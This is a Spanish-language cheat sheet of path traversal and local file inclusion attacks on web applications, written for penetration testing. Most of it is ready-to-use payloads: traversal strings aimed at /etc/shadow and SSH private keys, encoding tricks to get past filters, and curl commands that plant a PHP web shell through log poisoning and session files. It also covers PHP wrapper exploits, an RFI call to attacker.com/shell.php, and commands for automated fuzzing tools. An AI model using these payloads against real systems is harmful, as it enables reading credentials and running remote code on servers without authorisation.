path traversal
Path Traversal
Section titled “Path Traversal”Path Traversal o Directory Traversal permite a un atacante salir del directorio base de la aplicación y leer archivos arbitrarios del sistema de archivos del servidor usando secuencias ../.
Intención de la app:/var/www/html/uploads/ + "report.pdf" = /var/www/html/uploads/report.pdf
Con payload:/var/www/html/uploads/ + "../../../../etc/passwd" = /etc/passwdPuntos de inyección
Section titled “Puntos de inyección”Parámetros GET:?file=report.pdf?path=docs/manual.pdf?page=about?template=home?img=avatar.jpg?download=invoice_1042.pdf?load=config?include=header.php
Rutas en la URL:/files/report.pdf/static/img/logo.png/download/invoice_1042.pdf
Cabeceras HTTP:Referer: https://target.com/files/report.pdfX-File-Path: /docs/manual.pdf
Cuerpo de petición:{"filename": "report.pdf"}{"template": "invoice"}{"path": "/uploads/avatar.jpg"}Payload base
Section titled “Payload base”../ → subir un nivel de directorio../../ → subir dos niveles../../../ → subir tres niveles
Objetivo: llegar a la raíz del sistema (/) y desde ahí ir a cualquier archivoArchivos objetivo en Linux
Section titled “Archivos objetivo en Linux”# Archivos críticos de sistema../../../etc/passwd # Usuarios del sistema../../../etc/shadow # Hashes de contraseñas (requiere root)../../../etc/hosts # Resolución DNS local../../../etc/hostname # Nombre del host../../../etc/os-release # Versión del OS../../../etc/crontab # Cron jobs del sistema../../../etc/cron.d/ # Cron jobs adicionales../../../proc/version # Versión del kernel../../../proc/cmdline # Argumentos de arranque../../../proc/net/tcp # Conexiones TCP (puertos abiertos)
# Claves y configuración SSH../../../home/usuario/.ssh/id_rsa # Clave privada SSH../../../home/usuario/.ssh/authorized_keys../../../root/.ssh/id_rsa../../../root/.ssh/authorized_keys
# Historial de comandos../../../home/usuario/.bash_history../../../root/.bash_history
# Configuración de servicios web../../../var/www/html/config.php../../../var/www/html/wp-config.php # WordPress../../../var/www/html/.env # Laravel, Django, Node../../../etc/apache2/apache2.conf../../../etc/apache2/sites-enabled/000-default.conf../../../etc/nginx/nginx.conf../../../etc/nginx/sites-enabled/default
# Logs (information disclosure)../../../var/log/apache2/access.log../../../var/log/apache2/error.log../../../var/log/nginx/access.log../../../var/log/auth.log # Intentos de login SSHArchivos objetivo en Windows
Section titled “Archivos objetivo en Windows”..\..\..\Windows\win.ini..\..\..\Windows\System32\drivers\etc\hosts..\..\..\Windows\System32\config\SAM..\..\..\inetpub\wwwroot\web.config..\..\..\Users\Administrator\Desktop\flags.txt..\..\..\Program Files\Apache Group\Apache\conf\httpd.conf
# Con forward slash (también funciona en Windows)../../../Windows/win.ini../../../Windows/System32/drivers/etc/hostsBypass de filtros
Section titled “Bypass de filtros”1. Encoding
Section titled “1. Encoding”# URL encoding../ → %2e%2e%2f../ → %2e%2e/../ → ..%2f../ → %2e%2e%5c (backslash Windows)
# Double URL encoding (cuando el servidor decodifica dos veces)../ → %252e%252e%252f%2e → %252e%2f → %252f
# Unicode / UTF-8 overlong encoding../ → ..%c0%af../ → ..%ef%bc%8f../ → %c0%ae%c0%ae/
# Ejemplos completos?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd?file=..%2f..%2f..%2fetc%2fpasswd2. Bypass de filtros que eliminan ../
Section titled “2. Bypass de filtros que eliminan ../”# Si el filtro hace: replace('../', '')....// → al eliminar ../ queda ../ ← traversal válido....\/ → al eliminar ../ queda ..\..../ → elimina ../ interno → ../
# Ejemplos....//....//....//etc/passwd....\/....\/....\/etc/passwd..././../etc/passwd3. Bypass de extensión forzada
Section titled “3. Bypass de extensión forzada”# Si la app añade .php al final: $file . ".php"# Null byte injection (PHP < 5.3.4)?file=../../../etc/passwd%00?file=../../../etc/passwd%00.jpg?file=../../../etc/passwd\04. Bypass de filtro de ruta base
Section titled “4. Bypass de filtro de ruta base”# Si la app verifica que la ruta empieza por /var/www/html/# Usar ruta absoluta?file=/var/www/html/../../../etc/passwd?file=/var/www/html/../../../../etc/passwd
# Ruta válida seguida de traversal?file=/var/www/html/uploads/../../../etc/passwd5. Bypass con backslash (Windows)
Section titled “5. Bypass con backslash (Windows)”..\..\..\Windows\win.ini..\..\..\/Windows/win.ini..\\..\\..\Windows\win.ini6. Bypass de longitud máxima
Section titled “6. Bypass de longitud máxima”# Algunos filtros truncan el path si es muy largo# Llenar con ./././ hasta que el filtro recorte y quede el traversal./././././././././././././././././././././././././././././../../../etc/passwdPath Traversal → LFI → RCE
Section titled “Path Traversal → LFI → RCE”Si el path traversal permite cargar código que se ejecuta (LFI — Local File Inclusion), se puede escalar a RCE.
LFI via Log Poisoning
Section titled “LFI via Log Poisoning”# 1. Verificar que podemos leer el log de acceso?file=../../../var/log/apache2/access.log# → Si vemos el log en pantalla → vulnerable a log poisoning
# 2. Inyectar código PHP en el log via User-Agentcurl -s -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/
# 3. Incluir el log con el parámetro de ejecución?file=../../../var/log/apache2/access.log&cmd=id?file=../../../var/log/apache2/access.log&cmd=whoami?file=../../../var/log/apache2/access.log&cmd=cat+/etc/shadow
# Otros logs inyectables:../../../var/log/nginx/access.log../../../var/log/auth.log → inyectar via intento SSH con usuario malicioso../../../proc/self/environ → inyectar via User-Agent (si environ es legible)LFI via /proc/self/fd
Section titled “LFI via /proc/self/fd”# /proc/self/fd/N apunta a los file descriptors del proceso actual# Si el web server tiene abierto un archivo con código inyectado:?file=../../../proc/self/fd/0?file=../../../proc/self/fd/1# Iterar sobre fd 0-20LFI via PHP session
Section titled “LFI via PHP session”# 1. Crear sesión PHP con payload en el valor de un parámetro# Los ficheros de sesión PHP se guardan en /tmp/sess_SESSIONIDcurl -s "http://target.com/page.php?name=<?php system(\$_GET['cmd']); ?>"# Obtener PHPSESSID de la cookie
# 2. Incluir el fichero de sesión?file=../../../tmp/sess_PHPSESSID_VALUE&cmd=idLFI via PHP wrappers
Section titled “LFI via PHP wrappers”# php://filter — leer archivos PHP en base64 (sin ejecutarlos)?file=php://filter/convert.base64-encode/resource=index.php# Decodificar: base64 -d <<< "SALIDA_BASE64"
# php://filter — leer cualquier archivo?file=php://filter/read=string.rot13/resource=../../../etc/passwd
# php://input — ejecutar PHP del cuerpo de la petición (requiere allow_url_include)?file=php://input# Body: <?php system('id'); ?>
# data:// — ejecutar PHP inline?file=data://text/plain,<?php system('id');?>?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
# expect:// — RCE directo (requiere extensión expect)?file=expect://id?file=expect://whoamiPath Traversal en descarga de archivos
Section titled “Path Traversal en descarga de archivos”-- Descarga normal --GET /download?file=invoice_1042.pdf HTTP/1.1→ Content-Disposition: attachment; filename="invoice_1042.pdf"
-- Path traversal --GET /download?file=../../../etc/passwd HTTP/1.1→ Content-Disposition: attachment; filename="passwd"→ Body: root:x:0:0:root:/root:/bin/bash ...
-- Si hay validación de extensión --GET /download?file=../../../etc/passwd%00.pdf HTTP/1.1GET /download?file=../../../etc/passwd%2500.pdf HTTP/1.1Detección automática
Section titled “Detección automática”# ffuf — fuzzing de path traversal en parámetrosffuf -u "https://target.com/download?file=FUZZ" \ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \ -fw 0 # Filtrar respuestas vacías
# Burp Intruder — con lista de payloads de traversal# Lista recomendada: SecLists/Fuzzing/LFI/LFI-Jhaddix.txt
# dotdotpwn — herramienta específica para path traversaldotdotpwn -m http -h target.com -M GET -u "http://target.com/download?file=TRAVERSAL" -f /etc/passwd -k "root:"Diferencia Path Traversal vs LFI vs RFI
Section titled “Diferencia Path Traversal vs LFI vs RFI”Path Traversal → leer archivos del sistema (no los ejecuta) ?file=../../../../etc/passwd → muestra el contenido
LFI → incluir y EJECUTAR archivos locales del servidor ?page=../../../var/log/apache2/access.log → ejecuta PHP del log
RFI → incluir y ejecutar archivos de un servidor REMOTO ?page=http://attacker.com/shell.php → ejecuta shell remota (requiere allow_url_include=On en PHP — cada vez más raro)Cheatsheet de payloads
Section titled “Cheatsheet de payloads”Linux básico:../../../etc/passwd....//....//....//etc/passwd%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd..%2f..%2f..%2fetc%2fpasswd%252e%252e%252f%252e%252e%252f%252e%252f%252fetc%252fpasswd
Windows básico:..\..\..\Windows\win.ini..%5c..%5c..%5cWindows%5cwin.ini%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin.ini
PHP wrappers:php://filter/convert.base64-encode/resource=index.phpphp://filter/convert.base64-encode/resource=../../../etc/passwddata://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+expect://idSiempre probar primero con
../../../etc/passwden Linux y..\..\..\Windows\win.inien Windows — si alguno funciona sin encoding, el filtro es inexistente o muy básico.
Si el traversal básico da 403 o respuesta vacía pero no error, probar las variantes de encoding — muchos filtros bloquean
../literal pero no..%2fo....//.
LFI vía log poisoning es destructivo si se inyectan payloads en logs de producción — en pentests reales, confirmar la vulnerabilidad con
<?php phpinfo(); ?>antes de usar payloads más agresivos.